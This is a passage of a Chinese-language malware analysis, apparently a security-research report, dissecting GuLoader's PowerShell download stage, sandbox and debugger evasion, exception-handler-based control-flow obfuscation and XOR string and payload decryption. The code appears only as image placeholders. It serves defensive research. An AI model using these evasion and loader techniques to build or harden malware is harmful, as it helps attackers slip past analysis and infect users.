該腳本可以通過使用IEX命令(如果操作系統是32位)調用，也可以作為參數傳遞給從SysWOW64文件夾調用的PowerShell解釋器(如果操作系統是64位)。這是因為GuLoader shellcode必須在32位進程中運行。

可以看到，腳本代碼包含指向Google Drive的URL。

但是，生成的腳本仍然嚴重混淆。腳本以一個用於解碼字符串的函數開始：

9.png

GuLoader PowerShell腳本中的編碼字符串

有趣的是，嵌套腳本中的所有行都以編碼形式存儲，除了包含URL的行。

腳本去混淆後，我們得到以下代碼：

10.png

GuLoader PowerShell腳本去混淆

現在我們可以看到，腳本分配了2個內存區域，將數據從鏈接下載到Google Drive，並將其保存到臨時文件“%APPDATA%\Umig.For”中。接下來，使用BASE64對下載文件的內容進行解碼。解碼數據的前654個字節被釋放在第一個存儲區域（本例中為“$Gamme2483”），其餘的被釋放在第二個存儲區域中（本例為“$Nulstille”）。前654個字節包含一個混淆的shellcode，它旨在解密第二個複制區域，其中包含加密形式的shellcode的主要部分。

通過使用CallWindowsProc回調函數將控制權轉移到解密器，該函數還接收加密shellcode的地址和NtProtectVirtualMemory函數的地址作為參數。

基於NSIS安裝程序的變體與VBS變體不同，基於NSIS的樣本包含GuLoader shellcode，儘管是以加密的形式。這允許安全研究人員在沙盒中運行示例並查看GuLoader的行為，即使沙盒沒有連接到互聯網。靜態分析NSIS腳本和加密shellcode也是可能的。

在上傳到VirusTotal後，此類樣本現在可以被檢測到。

11.png

基於NSIS安裝程序的GuLoader變體的檢測率

我們不會詳細描述這種變體，因為在GuLoader: The NSIS Vantage Point一文中已經對其進行了分析。

GuLoader shellcodeNSIS和VBS變體都使用相同版本的shellcode。與以前的GuLoader版本一樣，shellcode實現了大量的反分析技術：

沙盒逃避技術包括：

掃描內存中與vm相關的字符串；

使用CPUID指令檢查虛擬化環境位是否開啟；

使用RDTSC結合CPUID測量時間；

搜索QEMU相關文件：C:\Program files\QEMU ga\QEMU-ga.exe和C:\Program files\qga\qga.exe；

使用EnumWindows API函數統計Windows的數量；

使用EnumDeviceDrivers API函數檢查是否存在與vm相關的驅動程序；

使用MsiEnumProductsA和MsiGetProductInfoA枚舉已安裝的軟件；

反調試技術：

掛鉤函數DbgBreakPoint和DbgUiRemoveBreakIn，以防止調試器附加；

從使用ThreadHideFromDebugger調用NtSetInformationThread函數的調試器中隱藏主線程ThreadInformation類值；

了解了GuLoader shellcode所使用的技術，在動態分析過程中使用調試器可以很容易地繞過它們。然而，在新版本中，我們遇到了一種使調試和靜態分析都非常困難的技術。

一種新的反分析技術從2022年底開始，GuLoader shellcode使用了一種新的反分析技術，它通過故意拋出大量異常並在將控制權轉移到動態計算地址的向量異常處理程序中處理它們來打破代碼執行的正常流程。

為了拋出異常，代碼使用int3指令。可以實現一個腳本，將int3指令自動替換為跳轉到正確地址的指令：

12.png

用jmp指令替換int3指令

該技術在《恶意软件分析：GuLoader剖析揭示新的反分析技术和代码注入冗余》 一文中首次被公開。然而，在新版本中，這項技術得到了改進。 shellcode開始使用三種不同的模式來拋出異常併中斷正常的代碼執行流程。

訪問無效內存地址導致訪問衝突

這種模式非常簡單。首先，作為數學運算的結果，其中一個寄存器被設置為零值。然後shellcode嘗試將數據寫入由該寄存器尋址的內存：

13.png

訪問無效內存地址引發訪問違規異常

導致訪問違規異常(0xC0000005)。該異常在GuLoader中由註冊的VEH處理，該VEH計算新地址以繼續執行shellcode。所使用的數字和導致計算零值的數學運算總是不同的。

設置陷阱標誌以引發單步異常GuLoader使用以下指令組合來設置EFALGS寄存器中的TF：

14.png

設置陷阱標誌以引發單步異常

乍一看，這段代碼中發生了什麼並不清楚。然而，如果我們計算寄存器EDI中的值，則得到值0x100。接下來的幾個指令的組合旨在推動EFLAGS並將TF (陷阱標誌)位設置為“1”。然後，將堆棧中修改後的值設置回EFLAGS寄存器。

當在EFLAGS寄存器中設置了Trap標誌但未附加調試器時，處理器會在執行下一條指令後生成單步異常（0x80000004）。在GuLoader中，註冊的VEH在這種情況下被調用。但是，如果附加了調試器，則不會調用GuLoader的VEH，並且執行路徑錯誤。

GuLoader shellcode中的代碼塊總是不同的，可以使用寄存器的各種組合。在無效內存地址的情況下，使用的數字和導致在EFLAGS寄存器中計算值0x100來設置TF的數學運算總是不同的。

使用int3引發斷點異常使用int3作為指令進行反分析技術已經在以前版本的GuLoader中實現。然而，它仍然被用於GuLoadershellcode的各個部分。當CPU在沒有調試器的情況下遇到int3指令時，它會生成斷點異常（0x80000003），並調用已註冊的VEH。但是，如果附加了調試器，則控制將轉移到調試器的中斷處理程序，該中斷處理程序通常會暫停程序的執行。 int3指令後面通常是隨機字節，這些字節會破壞shellcode的正常執行：

15.png

使用int3引發斷點異常

因此，如果不分析GuLoader VEH的代碼，我們就無法確定正確的執行路徑。

異常處理程序為了在出現3個指定異常的情況下計算新的跳轉地址，並將程序引導到新的執行路徑，GuLoader使用RtlAddVectoredExceptionHandler函數註冊向量異常處理程序（VEH）。

為了了解跳轉地址是如何計算的，讓我們看一下VEH代碼。

與代碼的其他部分一樣，VEH代碼也被混淆了。它包含垃圾指令，並且使用XOR運算動態計算重要值：

16.png

混淆的VEH代碼

然而，在IDA中反編譯之後，這段代碼看起來非常簡單：

17.png

反編譯的VEH代碼

如上所述，根據異常代碼的不同，VEH操作略有不同。在異常0x80000004 (EXCEPTION_SIGNLE_STEP)和0xC0000005 (EXCEPTION_ACCESS_VIOLATION)的情況下，它從發生異常的指令中獲取偏移量2處的字節值，並將該字節與某個常數值進行XOR（本例中為0x8B）。在異常0x80000003 (EXCEPTION_BREAKPOINT)的情況下，將獲取偏移量1處的字節，並使用常量進行XOR運算。需要注意的是，指定的常數在所有樣品中都是不同的。然後將得到的值添加到異常上下文中的EIP值中。因此，當退出異常處理程序時，控制權將轉移到新地址。

在所有情況下，異常處理程序還會檢查調試寄存器的狀態：

18.png

檢查VEH中的調試寄存器

如果設置了任何硬件斷點，異常處理程序將引用零地址而不是ContextRecord地址。這最終會導致應用程序崩潰。

在EXCEPTION_BREAKPOINT的情況下，異常處理程序還在舊EIP和計算出的新EIP值之間的地址空間中查找軟件斷點。

儘管可以使用各種各樣的代碼組合來觸發異常處理程序的執行，但它們都遵循3種模式，我們可以實現一個正則表達式來查找其中的大多數。不過，我們期望GuLoader開發人員在新版本中改變模式。

要修復一條引發異常的指令，並將其替換為跳轉到x32dbg中的正確地址，可以使用以下腳本(必須將0x8B替換為分析示例中的常量值)：

19.png

URL解密

所有字符串，包括下載最終有效負載的URL，都被加密並以特定形式存儲在shellcode中：

20.png

對於上面的示例，我們去混淆了代碼，清除了垃圾指令和跳轉。實際上，代碼中包含大量的垃圾和無效指令。為了幫助理解混淆的複雜性，這是與前面的示例相對應的原始代碼的一部分：

21.png

在嚴重混淆的GuLoader shellcode中合成加密字符串

與字符串不同，解密密鑰存儲為解密函數後面的常規字節序列：

22.png

字符串解密XOR密鑰

這個密鑰通常不是很長，最多64字節。

使用帶有解密密鑰的XOR運算對字符串進行解密。解密字符串後，我們可以找到一個看起來像URL但沒有架構的字符串：

23.png

很明顯，GuLoader的開發者已經發現了安全研究人員知道了其在已知明文攻擊中使用字符串“http://”或“https://”解密以前版本shellcode中的url的方法，以檢測解密密鑰的第一個字節。因此，在新版本中，他們用隨機字節替換了URL方案。

如果解密後的URL字符串的第5個字節等於“s”，則GuLoader將前8個字節替換為“https://”。否則，它將用“http://”替換前7個字節。

以下是從不同示例中提取的更多URL字符串的示例：

24.png

有效負載解密

有效負載解密密鑰也以與加密字符串相同的方式存儲，但是該密鑰沒有被加密。密鑰長度通常在800-900字節的範圍內。

例如，在MD5 40b9ca22013d02303d49d8f922ac2739的示例中，密鑰的長度為844字節。然而，另一個長度用於解密例程，並以混淆形式存儲：

25.png

用於解密有效負載的密鑰長度與密鑰存儲的長度不同

GuLoader使用不同的大小，而不是與密鑰一起存儲的大小，來欺騙自動分析。如果我們不考慮這一點，我們只能解密下載有效負載的前843字節，其餘的數據將被破壞。

與以前